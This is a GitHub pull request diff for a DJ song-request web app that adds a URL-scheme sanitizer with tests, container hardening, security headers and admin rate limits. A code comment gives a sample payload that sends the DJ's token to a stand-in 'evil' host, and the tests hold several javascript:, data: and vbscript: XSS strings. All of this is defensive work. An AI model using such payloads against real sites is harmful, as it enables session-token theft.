Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@ import { Tooltip } from '@/components/Tooltip';
import { KeyBadge, BpmBadge, GenreBadge } from '@/components/MusicBadges';
import { PreviewPlayer } from '@/components/PreviewPlayer';
import { computeBpmContext } from '@/lib/bpm-stats';
import { safeExternalUrl } from '@/lib/safe-url';
import type {
RecommendedTrack,
EventMusicProfile,
Expand Down Expand Up @@ -541,9 +542,9 @@ export function RecommendationsCard({
}}>
{track.artist} — {track.title}
</span>
{track.url && (
{safeExternalUrl(track.url) && (
<a
href={track.url}
href={safeExternalUrl(track.url)}
target="_blank"
rel="noopener noreferrer"
style={{ fontSize: '0.75rem', flexShrink: 0 }}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@ import { KeyBadge, BpmBadge, GenreBadge } from '@/components/MusicBadges';
import { PreviewPlayer } from '@/components/PreviewPlayer';
import { computeBpmContext } from '@/lib/bpm-stats';
import { getRequestEmphasisStyle } from '@/lib/request-emphasis';
import { safeExternalUrl } from '@/lib/safe-url';
import { getVoteHeatStyle } from '@/lib/vote-heat';
import { formatPriorityScore, getPriorityScoreColor } from '@/lib/priority-score';
import type { SortMode } from '@/lib/priority-score';
Expand Down Expand Up @@ -268,9 +269,9 @@ export function RequestQueueSection({
<h3 style={{ margin: 0 }}>
{request.song_title}
</h3>
{request.source_url && (
{safeExternalUrl(request.source_url) && (
<a
href={request.source_url}
href={safeExternalUrl(request.source_url)}
target="_blank"
rel="noopener noreferrer"
style={{ fontSize: '0.75rem', flexShrink: 0 }}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@
import { useMemo, useEffect, useRef } from 'react';
import type { SongRequest, SyncResultEntry } from '@/lib/api-types';
import { Tooltip } from '@/components/Tooltip';
import { safeExternalUrl } from '@/lib/safe-url';

interface SyncReportPanelProps {
requests: SongRequest[];
Expand Down Expand Up @@ -227,7 +228,7 @@ function ServiceStatusCell({
return (
<Tooltip description={`View on ${label}`} delay={100}>
<a
href={entry.url}
href={safeExternalUrl(entry.url) ?? '#'}
target="_blank"
rel="noopener noreferrer"
style={{ color: '#10b981', fontSize: '0.75rem', minWidth: '80px', textAlign: 'center', textDecoration: 'none' }}
Expand Down
5 changes: 3 additions & 2 deletions dashboard/app/events/[code]/components/SyncStatusBadges.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@

import { useMemo } from 'react';
import type { SongRequest, SyncResultEntry } from '@/lib/api-types';
import { safeExternalUrl } from '@/lib/safe-url';

interface SyncStatusBadgesProps {
request: SongRequest;
Expand Down Expand Up @@ -58,7 +59,7 @@
}

function TidalBadge({
request,

Check warning on line 62 in dashboard/app/events/[code]/components/SyncStatusBadges.tsx

View workflow job for this annotation

GitHub Actions / Frontend Tests

'request' is defined but never used. Allowed unused args must match /^_/u
syncResult,
syncing,
onSync,
Expand All @@ -77,7 +78,7 @@
if (url) {
return (
<a
href={url}
href={safeExternalUrl(url) ?? '#'}
target="_blank"
rel="noopener noreferrer"
title="Synced to Tidal - click to view"
Expand Down Expand Up @@ -151,7 +152,7 @@
if (url) {
return (
<a
href={url}
href={safeExternalUrl(url) ?? '#'}
target="_blank"
rel="noopener noreferrer"
title="Available on Beatport - click to view"
Expand Down
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
'use client';

import { safeExternalUrl } from '@/lib/safe-url';

interface TidalLoginModalProps {
loginUrl: string;
userCode: string;
Expand Down Expand Up @@ -38,7 +40,7 @@ export function TidalLoginModal({
Visit the link below and enter the code to connect your Tidal account:
</p>
<a
href={loginUrl}
href={safeExternalUrl(loginUrl) ?? '#'}
target="_blank"
rel="noopener noreferrer"
style={{
Expand Down
3 changes: 2 additions & 1 deletion dashboard/components/PreviewPlayer.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@

import { useState } from 'react';
import { canEmbed, getEmbedUrl, getPreviewSource, type PreviewData } from '@/lib/preview-embed';
import { safeExternalUrl } from '@/lib/safe-url';

/**
* Embeddable audio preview player for song cards.
Expand All @@ -19,7 +20,7 @@ export function PreviewPlayer({ data }: { data: PreviewData }) {
if (source === 'beatport' && data.sourceUrl && /^https?:\/\//.test(data.sourceUrl)) {
return (
<a
href={data.sourceUrl}
href={safeExternalUrl(data.sourceUrl) ?? '#'}
target="_blank"
rel="noopener noreferrer"
aria-label="Open in Beatport (opens in new tab)"
Expand Down
73 changes: 73 additions & 0 deletions dashboard/lib/__tests__/safe-url.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
/**
* TDD guard for H-F1 — safeExternalUrl must block dangerous URL schemes.
*
* @see docs/security/audit-2026-04-08.md H-F1
*/

import { describe, expect, it } from 'vitest'
import { safeExternalUrl } from '../safe-url'

describe('safeExternalUrl', () => {
it('allows https URLs', () => {
expect(safeExternalUrl('https://open.spotify.com/track/123')).toBe(
'https://open.spotify.com/track/123'
)
})

it('allows http URLs', () => {
expect(safeExternalUrl('http://example.com')).toBe('http://example.com')
})

it('rejects javascript: URLs', () => {
expect(safeExternalUrl('javascript:alert(1)')).toBeUndefined()
})

it('rejects javascript: with encoding tricks', () => {
// Uppercase variant
expect(safeExternalUrl('JavaScript:alert(1)')).toBeUndefined()
// Tab insertion (URL constructor normalizes this)
expect(safeExternalUrl('java\tscript:alert(1)')).toBeUndefined()
})

it('rejects data: URLs', () => {
expect(safeExternalUrl('data:text/html,<script>alert(1)</script>')).toBeUndefined()
})

it('rejects vbscript: URLs', () => {
expect(safeExternalUrl('vbscript:msgbox(1)')).toBeUndefined()
})

it('returns undefined for null', () => {
expect(safeExternalUrl(null)).toBeUndefined()
})

it('returns undefined for undefined', () => {
expect(safeExternalUrl(undefined)).toBeUndefined()
})

it('returns undefined for empty string', () => {
expect(safeExternalUrl('')).toBeUndefined()
})

it('returns undefined for invalid URLs', () => {
expect(safeExternalUrl('not a url')).toBeUndefined()
})

it('allows Spotify deep links over https', () => {
expect(
safeExternalUrl('https://open.spotify.com/track/4iV5W9uYEdYUVa79Axb7Rh')
).toBe('https://open.spotify.com/track/4iV5W9uYEdYUVa79Axb7Rh')
})

it('allows Beatport URLs', () => {
expect(safeExternalUrl('https://www.beatport.com/track/test/12345')).toBe(
'https://www.beatport.com/track/test/12345'
)
})

it('allows Tidal URLs', () => {
expect(safeExternalUrl('https://tidal.com/browse/track/12345')).toBe(
'https://tidal.com/browse/track/12345'
)
})
})
39 changes: 39 additions & 0 deletions dashboard/lib/safe-url.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
/**
* URL sanitization for user-supplied href attributes.
*
* SECURITY (H-F1): React does NOT strip `javascript:` from href attributes
* in production (only warns in dev). A guest who submits a song request with
* `source_url = "javascript:fetch('//evil/?'+localStorage.token)"` can steal
* the DJ's JWT when they click the open-link icon.
*
* This helper ensures only safe schemes (http, https) pass through.
* All other schemes (javascript:, data:, vbscript:, etc.) are rejected.
*
* @see docs/security/audit-2026-04-08.md H-F1
*/

const SAFE_SCHEMES = new Set(['http:', 'https:'])

/**
* Returns the URL unchanged if it uses a safe scheme (http/https),
* or `undefined` if the URL is invalid or uses a dangerous scheme.
*
* Use in anchor `href` attributes:
* ```tsx
* <a href={safeExternalUrl(userUrl) ?? '#'}>Link</a>
* ```
*/
export function safeExternalUrl(url: string | null | undefined): string | undefined {
if (!url) return undefined

try {
const parsed = new URL(url)
if (SAFE_SCHEMES.has(parsed.protocol)) {
return url
}
return undefined
} catch {
// URL() throws on invalid URLs — reject them
return undefined
}
}
20 changes: 20 additions & 0 deletions deploy/docker-compose.yml
Original file line number Diff line number Diff line change
Expand Up @@ -63,6 +63,16 @@ services:
db:
condition: service_healthy
restart: unless-stopped
# SECURITY (H-I4): container hardening
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
pids_limit: 200
mem_limit: 1g
read_only: true
tmpfs:
- /tmp
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:8000/health"]
interval: 10s
Expand All @@ -82,6 +92,16 @@ services:
api:
condition: service_healthy
restart: unless-stopped
# SECURITY (H-I4): container hardening
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
pids_limit: 100
mem_limit: 512m
read_only: true
tmpfs:
- /tmp

volumes:
postgres_data:
Expand Down
4 changes: 2 additions & 2 deletions deploy/nginx/api.conf.template
Original file line number Diff line number Diff line change
Expand Up @@ -42,11 +42,11 @@ server {
server_tokens off;

# Security headers
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=(), usb=()" always;
add_header Content-Security-Policy "default-src 'none'; frame-ancestors 'none'" always;

# Strip security headers from upstream (FastAPI sets them too — nginx is authoritative)
Expand Down
7 changes: 5 additions & 2 deletions deploy/nginx/app.conf.template
Original file line number Diff line number Diff line change
Expand Up @@ -42,11 +42,14 @@ server {
server_tokens off;

# Security headers
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
# SECURITY (H-I7): HSTS with preload for hstspreload.org submission
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
# SECURITY (H-I8): X-XSS-Protection removed — deprecated/harmful per OWASP
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
# SECURITY (H-I2): Permissions-Policy restricts browser APIs for XSS containment
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=(), usb=()" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://challenges.cloudflare.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https://${API_DOMAIN} https://i.scdn.co https://resources.tidal.com https://geo-media.beatport.com; media-src 'self' data:; connect-src 'self' https://${API_DOMAIN}; frame-src https://challenges.cloudflare.com https://open.spotify.com https://embed.tidal.com; frame-ancestors 'none'" always;

# Strip security headers from upstream (Next.js sets them too — nginx is authoritative)
Expand Down
4 changes: 3 additions & 1 deletion docker-compose.yml
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,9 @@ services:
POSTGRES_PASSWORD: wrzdj
POSTGRES_DB: wrzdj
ports:
- "5432:5432"
# SECURITY (H-I6): bind to localhost only — prevents LAN exposure
# on public WiFi with hardcoded dev credentials.
- "127.0.0.1:5432:5432"
volumes:
- postgres_data:/var/lib/postgresql/data
healthcheck:
Expand Down
16 changes: 16 additions & 0 deletions server/app/api/admin.py
Original file line number Diff line number Diff line change
Expand Up @@ -89,8 +89,10 @@ def admin_list_users(


@router.post("/users", response_model=AdminUserOut, status_code=status.HTTP_201_CREATED)
@limiter.limit("30/minute")
def admin_create_user(
user_data: AdminUserCreate,
request: FastAPIRequest,
db: Session = Depends(get_db),
_admin: User = Depends(get_current_admin),
) -> AdminUserOut:
Expand All @@ -111,9 +113,11 @@ def admin_create_user(


@router.patch("/users/{user_id}", response_model=AdminUserOut)
@limiter.limit("30/minute")
def admin_update_user(
user_id: int,
update_data: AdminUserUpdate,
request: FastAPIRequest,
db: Session = Depends(get_db),
admin: User = Depends(get_current_admin),
) -> AdminUserOut:
Expand Down Expand Up @@ -153,8 +157,10 @@ def admin_update_user(


@router.delete("/users/{user_id}", status_code=status.HTTP_204_NO_CONTENT)
@limiter.limit("30/minute")
def admin_delete_user(
user_id: int,
request: FastAPIRequest,
db: Session = Depends(get_db),
admin: User = Depends(get_current_admin),
) -> None:
Expand Down Expand Up @@ -182,9 +188,11 @@ def admin_list_events(


@router.patch("/events/{code}", response_model=AdminEventOut)
@limiter.limit("30/minute")
def admin_update_event(
code: str,
event_data: EventUpdate,
request: FastAPIRequest,
db: Session = Depends(get_db),
_admin: User = Depends(get_current_admin),
) -> AdminEventOut:
Expand Down Expand Up @@ -214,8 +222,10 @@ def admin_update_event(


@router.delete("/events/{code}", status_code=status.HTTP_204_NO_CONTENT)
@limiter.limit("30/minute")
def admin_delete_event(
code: str,
request: FastAPIRequest,
db: Session = Depends(get_db),
_admin: User = Depends(get_current_admin),
) -> None:
Expand Down Expand Up @@ -254,8 +264,10 @@ def admin_get_settings(


@router.patch("/settings", response_model=SystemSettingsOut)
@limiter.limit("30/minute")
def admin_update_settings(
update_data: SystemSettingsUpdate,
request: FastAPIRequest,
db: Session = Depends(get_db),
_admin: User = Depends(get_current_admin),
) -> SystemSettingsOut:
Expand Down Expand Up @@ -287,9 +299,11 @@ def admin_get_integrations(


@router.patch("/integrations/{service}", response_model=IntegrationToggleResponse)
@limiter.limit("30/minute")
def admin_toggle_integration(
service: str,
toggle: IntegrationToggleRequest,
request: FastAPIRequest,
db: Session = Depends(get_db),
_admin: User = Depends(get_current_admin),
) -> IntegrationToggleResponse:
Expand Down Expand Up @@ -391,8 +405,10 @@ def admin_get_ai_settings(


@router.put("/ai/settings", response_model=AISettingsOut)
@limiter.limit("30/minute")
def admin_update_ai_settings(
update_data: AISettingsUpdate,
request: FastAPIRequest,
db: Session = Depends(get_db),
_admin: User = Depends(get_current_admin),
) -> AISettingsOut:
Expand Down
Loading
Loading